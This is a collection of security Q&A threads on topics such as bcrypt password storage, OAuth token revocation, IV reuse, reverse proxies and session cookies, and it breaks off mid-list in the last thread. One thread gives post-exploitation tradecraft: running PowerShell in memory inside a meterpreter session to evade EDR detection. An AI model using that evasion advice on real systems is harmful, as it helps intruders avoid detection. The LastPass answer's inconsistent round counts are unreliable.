Secure Implementation of Password Database Disclaimer  I am not a security professional, just a programmer trying to do my best. Additionally, this is my first post to this community so I appologise if this question is too broad.

The Situation  My local network (managed and secured by a professional IT team) has many devices on it running simple web servers that serve pages used to control data loggers, PID controllers, etc. These web pages currently have no form of authentication at all, which will be a big problem if a bad-actor ever does compromise the network.

My Goal is to add authentication to these web pages by adding a login page to the app the server is running. (Possibly relevant, I am using Python to run the server.)

My Implementation I have a proof-of-concept design in which I do the following:

The user is prompted for username and password on registration page
The server hashes the password using SHA256 to create hashes of equal-length
A random salt is generated using a reasonable work-factor.
The hashed password is hashed again, this time with the salt. (The salt generation and hash uses python's bcrypt)
The username, work-factor, salt, and hash are stored in the password database.
When a user attempts to log in, the entered password is hashed in the same way and compared to the record in the database. (The salt used for comparison is fetched from the password database using the entered username as the key.)
If the hashes match, a cookie is given to the user which grants them access to the restricted web pages.

(Note that all communication between the web page and server are using POST requests.)

Questions and Concerns:

Saving the hash, work-factor, and salt in the same database seems like bad practice.
Does this method of hashing (reasonably) ensure that no one can determine a users password, including myself?
Everything currently uses http. Is https necessary if all access is within the local network?
Is using a cookie a good way to validate that a user has logged in successfully?

The current general best practices for authentication are in the NIST SP 800-63-3 Digital Identity Guidelines standards, especially in SP-63B Authentication and Lifecycle Management.

These NIST standards are an easy read for developers, and besides telling you what to do, it also talks about why you want to do certain things.  (If you want more details than the NIST standards give, we're happy to help.)

That said, let's look over your current authentication system and address your concerns:

  The user is prompted for username and password on registration page

The registration page?

This is probably mistyped and you meant a login page, but if there is a registration page that anyone on your network can access, then you need to explicitly define a seperate authorization system.  For example, anyone can register for an account on any online store, but this account doesn't give you access to the part of their site that lets admins change the prices on their products.

  The server hashes the password using SHA256 to create hashes of equal-length

This step doesn't add any security, or improve system performance in any meaningful way, especially since you're using bcrypt, which will discard any part of the password past the first 72 characters anyways.

It is unlikely, but this step could reduce entropy.  The reduction in entropy is insignificant in the grand scheme of things, and requires users to already be using long and randomly generated passwords, but since this is an extra step that doesn't improve security, I suggest leaving it out.

  A random salt is generated using a reasonable work-factor.

I'll admit that I was very confused seeing this step at first.  If this were about car maintenance, it would make as much sense to me as "Added synthetic oil with a reasonable octane rating."  However, in the comments it was revealed that the specific bcrypt library being used is the bcrypt library hosted by PyPI.

I can't find the source code (and am allergic to languages that use whitespace to delineate scope), but based on the documentation, it appears that the library's function call to generate the bcrypt's parameters is named bcrypt.gensalt(workfactor), and this method itself takes a work factor as its parameter...  Extending the car maintenance metaphor, it would be as if there were a function named vehicle.refuel(viscosity), or vehicle.changeoil(octane).

A salt, in authentication and cryptography jargon, is a random value that is added to a plaintext, to make it infeasible to pre-calculate the output of a cryptographic hash function or key derivation function.  The salt itself is not a secret; its only strength is that it's not known beforehand.

A salt's value is measured in how long it is, also called its entropy. (Entropy in cryptography is a nuanced topic, that depends on more than just length, but for any reasonable library that creates a salt, the longer the salt, the more entropy it has.)

A work-factor, on the other hand, is jargon that is specific to key-stretching algorithms, such as this bcrypt KDF. The work factor defines how much work the CPU (or GPU, FPGA, or ASIC when you're the attacker) needs to do, and its main feature is that it takes longer to calculate the output, using steps that can't be bypassed, guessed, or ignored.  This may seem counterintuitive; you want your application to run as fast as possible, right?

Well, the general risk is that your database of passwords will be leaked.  Top retailers leak passwords all the time, and you don't have the millions of dollars to spend securing applications like top retailers do, so assume that your database of passwords might eventually be leaked, too.

The tradeoff here is, when logging in, your user will have to wait an extra second.  When an attacker is cracking your passwords, they can only guess one password per second, per CPU that they put to the task.  (Motivated attackers can take some shortcuts, but even 10 guesses per second is MUCH better than billions of guesses per second if you're just using single round SHA256 instead of a key-stretching algorithm.)

So, the salt and the work factor are both important parameters that have nothing to do with each other. I'm sorry that your first exposure to the concept was through a very poorly named function.

  The hashed password is hashed again, this time with the salt. (The salt generation and hash uses python's bcrypt)

Minor nitpick, but this is because I'm being thorough: The results of bcrypt aren't a hash, even though many people call it a hash, and everyone here will know what you're talking about if you continue to call it a hash.  The results are a stretched password or a derived key.

  The username, work-factor, salt, and hash are stored in the password database.

If the result looks something like this, then you already have the work factor, salt, and derived key all together:

$2a$08$0SN/h83Gt1jZMR6924.Kd.HaK3MyTDt/W8FCjUOtbY3Pmres5rsma

The 2a is the algorithm (bcrypt with unicode support).

The 08 is the work factor.

The next 22 characters, 0SN/h83Gt1jZMR6924.Kd., are the salt.

And the rest is the derived key.

If you're getting something different from your bcrypt library, find a different library.

  When a user attempts to log in, the entered password is hashed in the same way and compared to the record in the database. (The salt used for comparison is fetched from the password database using the entered username as the key.)

Great.  However, the library that you're using is already doing the heavy lifting for you, so use your library to its fullest.  The bcrypt.checkpw function will pull out the work factor, salt, and derived key for you.  It will then run its KDF and compare the results.

Using this library function means that, if you decide to change the default work factor in the future, you don't have to have separate code to handle the older derived keys, as bcrypt.checkpw will be able to figure out the desired work factor on its own.

  If the hashes match, a cookie is given to the user which grants them access to the restricted web pages.

This sounds great on the face of it... but make sure that the cookie itself doesn't contain the authorization.  It should contain a randomly generated string (session ID) and when accessing the site, the server should look at that session ID and check its own resources to see if that session ID is properly authorized.  Clean up the session IDs after a while, too.

If your cookie contains "is_authorized=true" instead of a session ID where the server double checks its own resources, then people can just make their own authorization cookies and will never need to authenticate.

Concerns:

  Saving the hash, work-factor, and salt in the same database seems like bad practice.

The salt and work factors are not sensitive in any way, but are necessary to validate a password.  At best, any attempt to hide the salt will result in security-through-obscurity, which isn't any sort of security at all.  You might as well store the work factor and salt right alongside the derived key, to save yourself the headache, because splitting them up aren't going to prevent an attacker from getting to them.

  Does this method of hashing (reasonably) ensure that no one can determine a users password, including myself?

As far as your responsibility as a web developer? Yes.

And thank you for asking if it reasonably ensures that no one can determine a password.  They can still be guessed in offline attacks, but using a key stretching algorithm such as bcrypt will greatly hinder attackers, even in the worst-case scenario of an offline attack against a leaked database.

The only thing you can do better, is to add 2fa and demand that your users use password managers with 24+ character long, truly random passwords that are unique for every site.

Note that password resets should not depend only on this second factor.  As per the NIST guidelines, it should depend on the same identifying factors used in setting up the account in the first place (and make as much noise as possible on as many user communication channels as your application knows about) and utilize at least one additional factor, if available.

For most web applications, this means an email to the account used during account registration (NOT text messages to a cell phone, or security questions by themselves, though these can be additional factors after the email is sent).  For an internal business application, this means the user has to make a call to the sysops team/helpdesk (or, more realistically, they need to stop by the developer's desk).

  Everything currently uses http. Is https necessary if all access is within the local network?

You have to trust your local network to some extent.  However, it never hurts to add HTTPS.  If you're concerned at all, add HTTPS.  (The fact that you asked this questions means that, yes, you are concerned.  So yes, you should add HTTPS.)

Adding HTTPS is a good idea for non-security reasons as well, as web servers (and browsers) will use HTTP/2, if available, only over HTTPS connections.  This can speed up your site noticeably.  It doesn't apply in your case, as you're using a Python-script based web server, which is unlikely to have HTTP/2 capabilities, but it's a good habit to get in for reasons beyond "just" security.  (Security is more than enough justification in my opinion, but there are managers who need additional convincing.)

  Is using a cookie a good way to validate that a user has logged in successfully?

If that cookie contains a session ID rather than authentication information, that session ID is random, and the server verifies the session ID, then yes. This is standard practice for the vast majority of websites with any sort of user identification.


Stolen Google OAuth refresh token I had authorized Google account on my Mac computer. I think my keychain is stolen and google oauth refresh token was stored in it. I removed the OS X app from my Google account.

Is the old OAuth refresh token still valid and can the thief access my google data?
If I reauthorize the OS X app, new oauth refresh token will be generated, will the old oauth be valid ?

Is the old OAuth refresh token still valid and can the thief access my google data?

Once app is removed the token is invalidated.

  The user has revoked access.
  The token has not been used for six    months.
  The user changed passwords and the token contains Gmail    scopes.
  The user account has exceeded a certain number of token requests.

See the factors which include a token expiration. Reference

  If I reauthorize the OS X app, new oauth refresh token will be
  generated, will the old oauth be valid ?

Old oauth token would be invalid.


Odd requests to health_check.js show up in Fiddler I had Fiddler running and noticed that there are few calls made to following url:

http://www.yimgr.com/health_check.js?ts=1412350007104

the content is just this JSON payload

{
  "chance": 0.5,
  "blacklist": [
    "stackoverflow.com",
    "html5rocks.com",
    "xda-developers.com",
    "netflix.com",
    "shutterfly.com",
    "techrepublic.com",
    "github.com",
    "android.com",
    "jquery.com",
    "samsung.com",
    "mashable.com",
    "yahoo.com",
    "tenmanga.com",
    "vice.com"
  ]
}

The only things running were Chrome, IE, and IntelliJ IDEA, so my first guess it's either spyware or a Chrome extension.
So my question is whether it's part of something malicious and is there a way to check what made this request?

EDIT

After a bit of digging I found that file name in one of Chrome extensions, namely ruul (on screen caliper). I've installed it a while back but now it's no longer available from Chrome Store

It's a Chrome extension.  What's happening is that some extension is injecting its own ads into webpages.  That way, they can get the revenue instead of the webpage you are visiting.

This JS file seems to be a blacklist of sites where they won't inject ads (or so, I am assuming).

Reference: http://stopmalvertising.com/security/bookmark-sentry-google-allows-ads-in-chrome-apps-and-extensions.html


Can uncompressing a ZIP/tar.gz/rar/etc file execute some custom code? So I recently downloaded Tor Browser on my Linux machine and what immediately caught my eye is the fact that after uncompressing the file (I think it was .tar.gz, but the question applies to every compression method) a .desktop file got generated in the extracted folder. Is this hidden functionality of .tar.gz and some code got executed which generated this so-called shortcut or is it just the OS that generated that file with a absolute path by on itself?

There are several slightly overlapping questions here:

can ... execute some custom code

This might be possible due to security bugs, even if it is not intended functionality.

is this hidden functionality of .tar.gz

No. This is generated by the OS

a ZIP/tar.gz/rar/etc file ...

As for ZIP, tar.gz and rar - these don't have this functionality. As for "etc" - maybe, when choosing the right value for "etc".


Safety of exposing an internal web application to the internet using a reverse proxy in the DMZ I am creating a web application which needs to make direct connections to internal resources (e.g. database servers), but will also need to be accessed from the internet.

The web app exposes web services, and also does rendering of the HTML UI (ASP.NET MVC).

My plan is to install the application on our internal network, and expose the HTTPS port to the internet via a reverse proxy server which sits in the DMZ.

Is this a secure way to expose the web application? Or am I falling into some sort of trap?

You are not adding much security doing it this way alone: if an attacker can find a fault in your web app, using a reverse proxy alone will not prevent anything.

However, the fact that your reverse proxy is the place where the SSL connection is terminated allow you to add other security systems in between the final app and the user: it could be a WAF, an IPS/IDS or both.


Do I REALLY need to change my LastPass password? Last weekend LastPass' network was compromised and that a list of email addresses along with the hashes of the master passwords were stolen. It is being recommended that LastPass users change their passwords on several security websites.  https://blog.lastpass.com/2015/06/lastpass-security-notice.html/

According to the LastPass link above, "LastPass strengthens the authentication hash with a random salt and 100,000 rounds of server-side PBKDF2-SHA256, in addition to the rounds performed client-side.".

Is there any real reason for someone with a strong (30+ random characters) password to bother changing their master password? My understanding was that with a random salt and 100,000 rounds of PBKDF2-SHA256 and a long password, the password would be safe from brute force attacks even if a hacker had a budget equal to the world GDP. I am asking this question to make sure I am not missing something.

No, a 30+ random character password is safe
If your password is 30+ random characters, the number of possible passwords is well beyond 95^30, which is 2.14e59.
The Oclhashcrack page gives a sample crack rate for SHA256 of 16,904 Mh/s. So lets assume the "budget equal to the world GDP" would allow for a million of these computers to perform the cracking. (We are ignoring the 10,000 rounds for simplicity).
The computer can guess 16 billion hashes per second times 1 million computers. This would equal about 1.6e16 guesses per second. Thus it would still take 1.3e43 seconds which is equal to 3.1 e25 times the age of the universe. Multiply the number of computers by 10, and you drop to 3.1e24 times the age of the universe.
So finally consider that the 10,000 rounds means that the hash calculation would be reduced by 10,000. Further consider that the hashes are randomly salted. This means that an attack has to be targeted on a specific hash.
What about other attack possibilities?
If we consider that attackers had access to the Lastpass network, the attackers are more likely to get the plaintext of a 30+ random character password by intercepting it in plaintext when you log into the website. Lastpass hasn't given any indication that this has happened, but this would be a realistic reason to change your password.


Making an API safe and secure So I have a a website. Now I'm making an App for it. In the app I need to sign the user in. So I'm making an API for it.

The problem is, once I make this API. How will I be able to test for robots and what have you?

example. on my website I have recaptcha from google where you click to verify you're not a robot and then proceed.

Is there a similar method for APIs?

You could put the captcha in the app.

App requests captcha
Server provides captcha
App displays captcha and returns user response to server
Server generates token and sends to app, the app can send that token with any requests


OTP for syncing mobile device Scenario: a web app with two-factor authentication using username/password and hardware OTP.

Once logged into the app, one of the app modules should be used in a tablet or any mobile device without a USB port available. Should the application be able to generate a OTP and pair it with a user then allow the user to log in to the app from the mobile using that code alone?

User logs in from a computer.
User generates an OTP from the app.
User goes to https://example.com/mobile_module/username.
User enters password and OTP.
User gets authenticated and the OTP is nulled.

Is there a better way to approach it?

I think this is a reasonable approach, as we have seen countless websites being hacked and millions of passwords being stolen. Using a two-factor authentication mitigates the risk.

Depending on the security level of your installation, a hardware based OTP is not needed. Software-based OPT, like Google Authenticator, will suffice in most cases.

You can use Google Authenticator for Android, iOS, Windows Phone or Windows.

There are libraries for use it in PHP, Perl and ASP. You can even use it with SSH.

Besides being cheap (users generally already have a smartphone), software-based tokens are harder to lose, as it requires the user to lose or factory-reset the phone. Those cases can be solved by sending a reset link to the user, asking for some other information to authenticate the user, like a secret question, phone number or any other piece of information that is hard to guess.


is it OK to grant permission for IUSR_ to cmd.exe? One of my developers asked me to grant permission to IUSR_ user (the IIS user) to CMD.exe (console) now I'm wondering is it safe to do it? He is complaing, that his libraries had to use console for working good. What do you think?

In my opinion, there are two problems here:

Your developer is directly spawning shells to perform operations. This is a sign of poor quality code, a dodgy workaround, or your developer not having enough time / experience to perform the operation himself. You need to find out which it is.
Allowing _IUSR access to cmd.exe opens up some nasty possibilities for shellcode, should your IIS service later be found to be vulnerable to a remote code execution bug.

Ask him exactly what he's launching, and ask if he can find a workaround. If he's running some sort of external task, why isn't he using the Windows Task Scheduler API rather than directly spawning shells? If he's using an existing utility (e.g. xcopy, ping, etc.) as a hacky workaround you should ask him to do it properly, and allocate the appropriate time and resources for him to do so.

Remember that a flat "no" is useless to him as a developer. Explain exactly why it'd be a security issue. If possible, back it up with something from your security policy. Try to be empathetic of his situation - developers usually have 6 months worth of work to get done in 6 weeks, so a workaround is golden. If it's a case of him not having the time to do the job properly, speak to the project manager and see if the scope can be altered.


Powershell scripts inside meterpreter sessions I have aquestion i tried to answer myself without much success.
I love all the powershell script provided for post exploitation purposes -> Powersploit; Nishang etc...
My only problem is that i can't find any easy way to use them inside a meterpreter session.

Correct me if i m wrong, but there is no way to have an "interactive" powershell from a shell (meterpreter).
I can't find any other solution than converting the script to Base64 encoding and call functions (encoded too) one by one through the cmd command.

What I would like to do (if it is possible in any manner) is to have an interactive shell from an already established meterpreter session (sometimes getting this is a real challenge if you consider that you have to evade IDS, AV, sandbox, etc).

Is there any solution for that?

Use the Metepreter PowerShell Extension. In this case, your PowerShell will run in-memory without shelling out. If you shell out, then cmdscan or consoles in Volatility or Rekall (or any similar technique, which every EDR and DFIR tool utilizes) will flag the process space and deliver obvious results of compromise.


How can I enable opportunistic encryption for my web-site? As per an honourable mention in an answer for « Why self-signed https is less trustworthy than unencrypted http? », it appears that there are already two post-Snowden drafts that have to do with the exact topic of opportunistic encryption of http traffic:

Opportunistic Encryption for HTTP URIs
http://tools.ietf.org/html/draft-nottingham-http2-encryption-03
Minimal Unauthenticated Encryption (MUE) for HTTP/2
http://tools.ietf.org/html/draft-hoffman-httpbis-minimal-unauth-enc-01

They are a bit tense on the details; also, being reference documents, they obviously don't talk about implementation details and product support.

But I'm really excited that someone's finally working on making opportunistic encryption of HTTP possible just like we have had STARTTLS in SMTP for years.  Is any of this implemented yet?  I'd really like to enable all of it for all of my non-profit web-sites, any way to be an early adopter?

None of the mainstream user-agents (IE, FF, Chrome, etc.) support either of those proposals, so there's currently no way to do opportunistic HTTPS.  Why not just serve all of your content over HTTPS to everyone?  Seems like that's the best way to offer your users confidentiality and integrity.


In Real-Time, where do we deploy Extensible Authentication Protocol(EAP) in Wireless Networks? I have heard that the EAP protocol has authentication capabilities for wireless networks too. But I am not able to get how it is deployed in real time as I know that whenever I need to connect to my router, I just type in the password and it's done but where EAP in that?

It's not in the average home Wi-Fi, not even in SOHO, it's mostly used in enterprise environment, hence the WPA/WPA2 Enterprise...

This is done when you try to authenticate to a WPA/WPA2 Enterprise AP, which mean you need to setup a RADIUS server to process the EAP Auth.

Sometimes also called 802.1x/EAP.

UPDATE FROM COMMENTS

This is in order to enhance security now that the AAA is done trough wired communication and not trough the air (The challenge/response can't be sniffed/cracked)


Is it safe to use third party OIDC ID Token as our APIs bearer token? Practically, we are outsourcing the authentication of our users to a third party application, that's, needless to say, external to our system. I am not sure if this is actually advisable, but from our perspective, since we don't really want to maintain security credentials ourselves, we thought that it makes sense to leave that to the hands of a more capable party. For now we intend to use them mainly as identity provider, because we find their authorisation support hard to use. To be clear, at the moment, we do not require any access to any other resources at the side of the identity provider beyond the user profile; the authorisation I'm referring to is for our own system. Because of this, acquiring an ID token from the trusted identity provider seems to be good enough for our purposes.

We intend to internally keep track of references to the user id provided through the id token (e.g. the JWT sub claim) for the purpose of attaching our own authorisation details to them. I'm thinking that since this is the case, because the ID token provides us enough information to be able to pull authorisation details about the user, we don't really need anything else. I'm not sure however, if this is a sound approach or there's a security risk in this kind of flow.

In this setup, for our own API we'd have to use the external IdP for authentication, but we'd probably need to be issuing the access tokens ourselves to our clients.

It is not advised to use ID Token for providing access because that is not its purpose. When an application does authentication, it needs to to first verify the identity of a user and only then allow access. Verification of identity is done by validating the ID Token while access is allowed by validating the Access Token.

An ID Token proves "who is the user?". Possessing an ID Token does not mean having access.

An Access Token is a bearer token used to allow access from a client application (who has the token), to a resource server (who validates the token, e.g. an API), on behalf of the user (because the user consents to it - e.g. implicitly during login or after that).

Both of these tokens contain an audience (aud) claim that specified the intended audience for the token. The ID Token's intended audience is the client who requested authentication (on behalf of the user). The Access Token's intended audience is the resource server.

If the audience of the Access Token provided to you doesn't include your application, then you shouldn't use it for controlling access to your APIs. In this case, you are correct that you'd need to issue your own Bearer token for the API. However it is not suggest to use the ID Token instead simply because it is not its purpose.


Can an employer access Whatsapp messages if you are using their servers? Does anyone know if an employer can access whatsapp messages if you are using their servers? Whatsapp apparently say the messages are encrypted, but I'm not sure about this.

The following research paper describes four attacks on WhatsApp.  I don't know whether they have been fixed.

Guess Who's Texting You? Evaluating the Security of Smartphone Messaging Applications.
Sebastian Schrittwieser, Peter Fruhwirt, Peter Kieseberg, Manuel Leithner, Martin Mulazzani, Markus Huber, Edgar Weippl.  NDSS 2012.

Impersonation attack.
One attack allows an attacker to impersonate someone else.  In particular, if the attacker has a particular phone number in mind (the victim's phone number), the attacker can register himself for that phone number and receive all WhatsApp messages that might have been intended for that phone number.  See Section 5.2 of the paper.

This may be relevant to you.

SMS spam attack.
A second attack allows an attacker to send arbitrary text messages to anyone around the world, for free, from the WhatsApp servers.  See Section 5.4 of the paper.

Phone number enumeration attack.
A third attack allows an attacker to enumerate the phone numbers of other WhatsApp users and identify the operating system they are using.  See Section 5.5 of the paper.

Status message forgery attack.
A fourth attack allows an attacker to change any other WhatsApp user's status message to anything of the attacker's choice.  See Section 5.6 of the paper.

Implications.
None of these directly address the particular question you asked.
However, these vulnerabilities diminish my confidence in the security of WhatsApp.

The vulnerabilities described in the paper are extremely basic and elementary flaws.  We're talking facepalm territory. The flaws include, for instance, a complete lack of access control or authentication; as well as inappropriate trust in the client.  (Basically, OWASP A3, A8, and A9 violations.)
Of course, anyone can make mistakes, but these are such basic mistakes that they make me wonder what other mistakes the WhatsApp developers may have made, and what is wrong with WhatsApp's security review process that these slipped through into deployment.

So, based upon this analysis, I would be reluctant to rely too heavily upon the security of WhatsApp.


How secure is AES-128 for Zip files? Say you have a cryptographically random 8 character long alphanumeric password (A-Z, a-z, 0-9) used to encrypt a ZIP file with AES-128.

Can this program:

http://www.openwall.com/passwords/zip-winzip-archives

Really crack it in a feasible amount of time?

If you have a random generated password, without a meaning (no words), then there is no way to do a successful dictionary attack.

Now with your character sets, you have 2,18340106 × 10^14, thats loads. It would take a very long time to crack based on bruteforce.

Now this tool simply tries to attack the algorithm by using a dictionary attack. It hopes that the password is a common word or a deriative (some dictionaries will contain b00k too).


Is Bluetooth 4.0 traffic encrypted by default/design? I wonder if the BLE (v4.0) traffic is encrypted by default or by design, or is it just optional? If the former, is the traffic encrypted using a key derived just from the pairing pin or is there some kind of session key as well - like with WPA2? If the former, would the encryption key be a long-term key then which doesn't seem so secure?
EDIT:
I read on Wikipedia that AES-128 is supported, and chips like the CC2540 provides hardware acceleration, but it's not clear if AES encryption is an option or mandatory by design. IIRC, Bluetooth 2.1 offers a non-secure mode so encryption is only optional, but I wonder if the same applies to BLE.

I read now a bit in the specification - Volume 3, Part H, Section 3.5.1 Pairing Request and 3.5.2 Pairing Response.

IMHO encryption is mandatory after devices have been paired, as the initiator must send a maximum key size to be used:

  Maximum Encryption Key Size (1 octet)

  This value defines the maximum encryption key size in octets that the device
  can support. The maximum key size shall be in the range 7 to 16 octets.

This ensures my comment also that since 2.1 encryption is mandatory.

So you cannot choose a key size of lets say 0 length, in order to get paired. I don´t know however if there is an ad-hoc mode available which would allow non-paired data exchange (but I don't believe this).

Note that this means only encrypted data stream. Authentication is a different thing. For example, you cannot verify that you connect to the right Bluetooth headset as it has no display or keyboard (still you could read it´s MAC address before you confirm, e.g.). So with some pairing modes I would assume that authentication is on a low trust level (by design).

IMHO as Bluetooth was a replacement for serial/infrared communication in the beginning, it always struggled with security. I would consider it a nice feature for some gadgets, but would not exchange sensitive information (=  it´s not equal to WiFi or LAN).


Can we tamper-proof a game that's sold along with the Windows machine it runs on? We want to protect a game that is basically sold with the computer containing it. The security is done this way:

The HDD is encrypted using hardware TPM 1.2, which holds a unique key to decrypt the OS only in that specific computer. So Windows will boot only in one PC. Also the TPM will not let Windows boot if any hardware change happens.
explorer.exe is replaced by game.exe, The system boots the game at startup. If you exit the game there is no explorer, just a black screen.
Ctrl & Alt & other keys are disabled, so the Task Manager is not accessible.
The ethernet adapter is disabled, autorun is disabled to prevent dumping game.exe.
Deep freeze installed, user can't enter Safe or Repair modes

Is this a secure system?
If it is not secure, what can an attacker do?

We can analyze your setup by comparing it against a system known to be not tamper proof, the Sony PlayStation 3.

OS control

You have no control over the OS. Sony did write the OS themselves.

Size of the OS

The PS3 OS can be very simple as it just needs to boot games. Windows is a generic OS, with many, many functions. This exposes many API's.

Shell

The PS3 OS shell is intended to just start games. On Windows, the default UI is provided by Explorer. You propose to replace it, which isn't a design goal for Microsoft. It may appear to work, but tearing out Explorer may leave some open interfaces. That is a special problem for you because such open interfaces may become attack vectors.

Hardware

You appear to be working of a standard PC hardware, just with TPM. Sony had designed the PS3 from the start in the assumption that hackers would be attacking the hardware.

Your standard PC probably has PCI-e slots. Those support DMA. Using that, you gain access to the PC's memory. This will be unencrypted. A common way to do this is via FireWire. IIRC, modern consoles now keep the RAM encrypted as well, and they obviously don't grant DMA access to outside hardware.

Conclusion

Your system appears less safe than a PS3, and a PS3 can be hacked, so it is safe to assume yours can be too.


Are ZeroNet websites susceptible to 51% control attack? I've been reading about ZeroNet and thought about putting a site together but have concerns that it may be vulnerable to the issue laid out in What can an attacker with 51% of hash power do?.

From what I understand, if a majority of peers decide to provide false information, they can dictate what content is actually transferred as they will have a majority say.

However, it's stated on ZeroNet's site that content changes are signed with a private key. I don't know enough about this to know if that would actually prevent 51% of peers from providing misleading information or serves as some other utility.

In ZeroNet the content of a website is signed with the private key of the owner. This makes it impossible for someone else to change the website and seed it without notice.

An exception are rollbacks to an earlier version as CodesInChaos already mentioned.

The article you linked is about blockchain based systems, but ZeroNet uses the BitTorrent protocol for peer discovery.
This means that the 51% could only stop seeding a site, which does not do any harm to the network.

At the moment ZeroNet also does not use a DHT(distributed hash table), but there are plans to support DHT, which give some attack surface for (distributed) denial of service attacks:
Real-World Sybil Attacks in BitTorrent Mainline DHT

Summary

The attackers might seed an earlier version
The attackers might stop seeding a site

but then they aren't the 51% peers of that site

If an attacker changes a website, other peers will not accept it, because the signature can not be verified.


Does storing Base64 encoding of scrypt password hash make it more vulnerable? Scrypt produces a binary hash of a password. Instead of storing it as bytes directly, we are considering to store the Base64 encoding of this string.

Would that make the password hash more vulnerable in case of a leak? The password salt is generated on a per user basis.

If you're storing only the hash itself as base64, this shouldn't materially alter the one-way nature of the hash or its protection of the original plaintext.

As long as no other pre-hashing plaintext data or related metadata is included (that would in any way hint at potential plaintext), then a leak of base64-encoded hashes wouldn't be any easier to attack than a leak of the original hashes.

An attacker would simply analyze the data, discover that it consists of base64 strings, convert them back to their original hashes form, and then carry out the attack. This won't slow most attackers down, but it also won't make things any easier for them.


CSRF not working over CORS proxy I'm consuming OData services from JQuery and running into a typical scenario of Same Origin Policy. I do not have control over the server and therefore I can not implement CORS so the only thing I can do is to use a proxy in order to bypass the same origin policy. In particular I use cors-anywhere. But I tried others and still having the same issue.

So, anyway, until then it is all cool, I'm able to save the situation with the proxy and to execute my ajax call with no problem, but, this only works for GET requests. Because, now the server also requires a CSRF token for POST, PATCH, etc and it looks like the token I obtain through a call to the server through the proxy:

is not valid for my next consecutive requests to the server. Moreover, I notice that every time I request a CSRF token like this(http://localhost:9191/https://my-server) I obtain a different one, which is not happening if I do the request without using the proxy(https://my-server). So, my question is:

Would anyone be able to explain why this is happening and if so, is there any way to overcome this problem in order to be able to make requests from JS?

So far I've tried a number of things such as rewriting Host, Referrer, Origin and other headers in the proxy without success and though I could really use some help from this wise community here. Any comments or suggestions welcome.

Cheers,

I'm not sure if this applies in this case but I thought it may be useful to some people.

CSRF tokens are sometimes rejected because each consecutive request doesn't preserve the cookies which were set on the previous request. This is likely because the CSRF token is either stored as its own cookie or more often, inside a session cookie which will change if Set-Cookie is ignored.


Certificate - Digital fingerprint vs Signature What is the purpose of the « fingerprint » section of a x509 certificate, and is there an issue using SHA1 for it ?

I understand the certificate signature section, but I can’t see the point with the fingerprint section.

The "fingerprint" (or "thumbprint") is NOT a part of a certificate. It is computed by some software (e.g. Windows) as a hash of the complete certificate (including the signature).

The point of the thumbprint is to serve as a human-manageable identifier for the certificate. For instance, when you import a certificate in the "trusted root" store of a Windows system, a popup appears that displays the thumbprint of the certificate, and asks you to check whether this is the right value. The user who is importing that certificate is then supposed to check the thumbprint against a reference value (e.g. a signed paper document that was provided by the CA sysadmin); comparing two 40-character hexadecimal values is not the summit of user interface conviviality, but it is still a lot more doable than checking the 2000-character hexadecimal encoding of a complete certificate.

The point of such a check is to make sure that what is imported is the genuine root CA certificate, not a fake one that was substituted by a malicious attacker. Thanks to the thumbprint-checking, how the certificate was transported becomes irrelevant (e.g. it could be sent over plain HTTP or even in an email).

Using the thumbprint in that way is safe as long as the thumbprint is computed with a cryptographic hash function that offers second-preimage resistance. As far as we know, this is still the case for SHA-1 (SHA-1 has known theoretical weaknesses with regards to collisions, but collisions are not relevant here).


How to use a different key and IV for encrypting a file with AES in C++? I know how AES encryption works, and different modes (for example EAX, CBC, CCM, ...), and also about CipherBlock and StreamTransformationFilter methods and their implementation in C++.

I am using the Crypto++ toolkit. I want to use EAX mode for encrypting a file, and use AuthenticatedEncryptionFilter method for encryption as StreamTransformation. Now, what if using of a single key and IV for encrypting each file? Is it safe to use the same key and IV?
If not, how do I use different keys and IV for encrypting a file and where to store the keys and IVs?

Using the same Key and IV pair for multiple file encryption is very dangerous because encrypting the two files with the same same content will result the same ciphertext for any block mode encryption. Here are a few related posts about this:

Why must IV/key-pairs not be reused in CTR mode?

Dangers of using CTR mode for encryption

AES-CBC and IV — Encrypting multiple blocks of a file with the same IV?

  It is insecure to reuse the IV with AES-CBC. At the very least, if the
  files have a common prefix, this will be revealed as a common prefix
  of the ciphertexts. For AES-CBC, the only way to ensure
  confidentiality is to use random IVs.

What are the constraints for an IV using AES in CBC mode?

  The IV for a block cipher in CBC mode must not only be "uniquely used
  for each message encrypted with the same key". It is usually assumed
  to be indistinguishable from random by an adversary.

Note that using the same key and iv pair for GCM mode would result disastrous consequences in any case. You can check the following question (in fact, in most of questions related to GCM mode, you would see people mentioning this case of wrong usage. )

How bad it is using the same IV twice with AES/GCM?

My advice is to use random symmetric key and random IV for each file encryption and store these in the encrypted file using Cryptographic Message Syntax(CMS), you can use EnvelopedData content type in which you store encrypted content. In this case, the content encryption key(CEK)(random symmetric key) is encrypted using the user's public key (could be reached from user's certificate) and stored as encrypted with the encrypted content. As for the random IV, it is stored as open because it does not need to be private it only needs to be unpredictable. When a user needs to decrypt a file, s/he basicly decrypts CEK using the private key that s/he has. From there, using CEK and the IV one can decrypt the encrypted content.

If you cannot or would not want to use CMS, you can use the same key with different IVs for multiple files encryption. I dont know any weakness for this use. You should store your key as encrypted but you can store the IVs as unencrypted. Note, you may want to store them as signed to see if they are changed or not without your notice.


Should I also hash my session id before storing it in the database? I'm writing an API that hands out session id's using PHP's uniqid function (yes using more entropy). However I'm wondering if it adds more security to hash this id on the server, just like the passwords?

My thoughts:

Con

It's not really a secret that leaks to other sites, like passwords would.
If the database is compromised, all data is readable anyways. No need to take the API way.

Pro

The attacker can't read the value to send directly.
With salt the id's won't look the same in the database, even if they are.

It is a good to have feature but not absolutely mandatory.
You would have a lot more to worry about if an attacker is able to leak data from your storage. If you are doing a good session management, you should not worry a lot about hashing the session key.

You can refer to the OWASP guide to session management: https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
And another blog post:
https://hueniverse.com/2015/07/08/on-securing-web-session-ids/


Recover lost GPG public key I sign my Git commits with a GPG key which I stored on an old computer. I lost this key so I created a new one to sign my commits with. It has not been compromised so I do not wish to revoke it.

However, I accidentally deleted my public key too (I use GitHub) so all my past commits now show up as unverified. Is it possible to somehow recover the public key from my past commits so I can tell GitHub to trust it again?

Public Key Recovery Options

You have limited options:

You can recover your keys from a backup of your keyrings, if you have one.
You can recover public keys from a keyserver, if you or someone else uploaded your key there.
You can ask other people on your project for a copy of your public key, which they would have needed to verify your commits.
You can see if GitHub has a backup containing your public key, and is willing to retrieve it for you.

That's about it. If you have lost your keys, include backups and copies, then you should treat them as lost for good. Pragmatically, from a Git perspective you can:

